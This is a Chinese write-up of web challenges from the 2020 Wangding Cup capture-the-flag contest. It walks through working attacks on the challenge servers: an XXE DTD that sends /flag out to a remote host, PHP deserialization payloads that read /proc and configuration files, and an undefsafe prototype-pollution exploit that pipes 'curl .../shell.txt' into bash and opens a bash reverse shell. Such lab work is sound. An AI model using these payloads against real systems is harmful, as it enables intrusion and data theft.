2020网鼎杯初赛前两组WEB题目部分Writeup


本次网鼎杯一共分为青龙白虎朱雀玄武四组,首先将前两组还能复现的web题目更新一下

青龙组

javafile

考点其实挺不错的,进入题目后直接给了一个上传链接

image.png-5.8kB

随便上传一个文件看一下,直接跳转到了下载地址

image.png-4.1kB

burp抓个包看一下

image.png-48.4kB

存在DownloadServlet接口,会对我们传输的文件名进行下载操作,尝试是否存在任意文件下载

image.png-70.1kB

成功读取web.xml页面的内容,根据xml页面上获取到的路由一个一个进行下载,因为java封装的class类存储在classes文件夹下,所以我们构造下载路径

../../../classes/cn/abc/servlet/xxx.class

image.png-82.3kB

对下载到的class文件使用工具jd-jui进行反编译,进行代码审计

image.png-8kB

首先可以看到代码中把flag关键词给黑名单了,我们是无法直接通过任意文件下载漏洞获取到flag

image.png-31.8kB

在uploadServlet.class中发现可疑代码

image.png-49.4kB

根据关键词搜索,我们可以发现,此处可能存在xxe漏洞,相关链接

https://www.jianshu.com/p/73cd11d83c30

按照思路,我们需要在服务器上构造恶意代码,然后在上传的excel的文件中插入访问我们服务器的恶意代码,同时在靶机对服务器进行访问时候,携带上根目录中flag的内容,我们即可在访问日志中获取到flag的内容了

具体流程,首先在服务器构造如下代码,因为buu的靶机无法访问外网,我们再开一个内网的平台

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/?%file;'>">
%all;

修改将excel文件以压缩包的形式打开,修改其中的[Content_Types].xml为:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE data SYSTEM "http://ip/1.dtd">
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

其中第二行就是我们插入的恶意代码

在服务器端放入我们的1.dtd文件,后上传excel-为前缀的excal文件,监听端口

image.png-36.1kB

即可获取到flag

AreUSerialz

代码审计题目,直接给了我们源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

看一下代码,存在flag.php,存在file_get_contents()函数,应该是想让我们去读flag.php,看一下可控的点,GET传入变量str,题目对传输的变量进行反序列化操作,所以我们要构造序列化后的值传入,分析完思路,具体分析一下代码

首先看一下传入的参数要求

image.png-12.5kB

再进行反序列化操作之前,需要对传输的字符串逐个检验,传输的字符串ascii码要大于21小于125

其次分析一下如何构造读取文件,这里要引入一个知识点,因为类型是protected,我们构造的语句序列化后存在%00,%00经过url解码后为0,这样就触发了waf,这里有两种绕过思路

1.直接修改类型为public,因为在php7.x系统以后,序列化就不会判断属性类型了,所以这里可以无视类型,直接绕过了waf检测
2.可以使用十六进制00和S进行waf绕过

之后就是构造payload读取flag.php了,这里还有一个知识点,因为我们需要构造绝对路劲进行读取,所以需要知道网站根目录的位置,由于不是正常的/var/www/html目录,我们需要读取配置文件获取题目中的网站根目录,这里需要读取

/proc/self/cmdline 

proc下面存储着正在运行的进程中的一些信息,这里简单的放几个能用到的文件

cmdline 程序运行的绝对路径
maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序

做题目的话这几个应该是运用的比较多的,我们读取一下 /proc/self/cmdline 来获取apache文件的默认配置路径

构造一下代码,这里使用绕过waf的方法是直接修改变量类型为public

<?php

class FileHandler {

    public $op=2;
    public $filename="php://filter/convert.base64-encode/resource=/proc/self/cmdline";
    public $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        // $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        // $this->process();
    }

}
$pd=new FileHandler();
$pdd=serialize($pd);
echo $pdd;

获取到payload

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/proc/self/cmdline";s:7:"content";N;}

image.png-30.2kB

解码得到apache的配置文件:/web/config/httpd.conf

再次读取一下配置文件,获取网站根目录的位置

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/web/config/httpd.conf";s:7:"content";N;}

image.png-109.3kB

网站根目录为:/web/html/,我们可以构造读取/web/html/flag.php文件,即可获取到flag

由于buu和题目环境不同,我们可以直接通过下面的payload获取到flag

O:11:"FileHandler":3:%7Bs:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;%7D

image.png-20.2kB

notes

nodeJS的CVE,题目直接给了附件,服务器端的源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

让我们审计代码了,node接触的不多,根据做过的题目的经验一般都是考察依赖库漏洞的比较多,赛后看群里师傅说,node题目一般库名+vulhub就能搜索到相关的文章,这个题目也是同样套路,考察的是undefsafe原型污染漏洞

搜索发现,当版本小于版本<2.0.3存在原型链污染漏洞,相关的漏洞文章:

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

首先审计一下代码,很容易发现可疑点

image.png-68.1kB

在/status路由下,找到了调用命令执行的点,不过发现能够执行的命令是比较固定的,要想执行我们自己的命令就要从原型链污染上入手,首先可以看到,题目是遍历执行commands字典内的命令,我们需要将自己想要执行的命令加到commands字典里面,找一下其他存在字典的位置

image.png-22.2kB

在这里存在this.note_list字典变量,我们可以使用这里去污染commands字典,从而使题目在遍历命令的时候执行我们构造的命令,下一步寻找我们能够控制的变量,用以写入命令,在/edit_note路由处,找到可以控制的变量

image.png-61.8kB

看一下执行流程在传入变量后

undefsafe操作this.note_list

image.png-21.1kB

我们可以通过构造变量,增加一个键值对,使得题目在遍历时将我们传输的数据作为系统命令执行,达到构造shell等目的

author:commands

例如构造访问页面的命令:

在/status路由下POST传输

id=__proto__&author=curl ip&raw=1

后台拼接的语句:

undefsafe(this.note_list, '__proto__.author', 'curl ip');

这样就可以达到原型污染,从而使题目在遍历时同时执行我们传入的命令了

解题payload:

首先在我们的服务器上构造shell.txt,并且监听端口

bash -i >& /dev/tcp/xxx.xx.xxx.xx/6767 0>&1

image.png-45.7kB

在/edit_note路由上POST传输下列数据,之后访问/status路由触发

id=__proto__&author=curl http:/xxx.xx.xxx.xx/shell.txt|bash&raw=1

image.png-64kB

即可在vps上收到flag

image.png-55.9kB

trace

没有现成的复现环境,是一个盲注题目,等有平台上题目了,就补上wp

白虎组

白虎组一共有三道WEB题目,目前存在在线环境的就只有一道题目了

picdown

这里用的复现环境是CTFhub和buu

访问题目..直接给了一个输入框

image.png-43.1kB

是一个图片下载器,输入一个地址发现成功下载下来文件,测试一下是否存在任意文件下载,抓个包

image.png-50.8kB

我们尝试读取一下题目本地的文件看看,读取一下进程中的配置文件目录

image.png-38.8kB

读取一下文件

image.png-36.3kB

读取一下app.py

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

源码中给我们提供了一个路由/no_one_know_the_manager,我们在获取到key之后,可以执行shell命令,key存在于/tmp/secret.txt,但被文件被删除掉了,但我们可以从进程文件中获取到key的内容

/proc/self/fd/3

image.png-40.1kB

访问路由,构造获取shell

image.png-39.3kB

flag在root文件夹下


One thought on “2020网鼎杯初赛前两组WEB题目部分Writeup”

发表评论

电子邮件地址不会被公开。 必填项已用*标注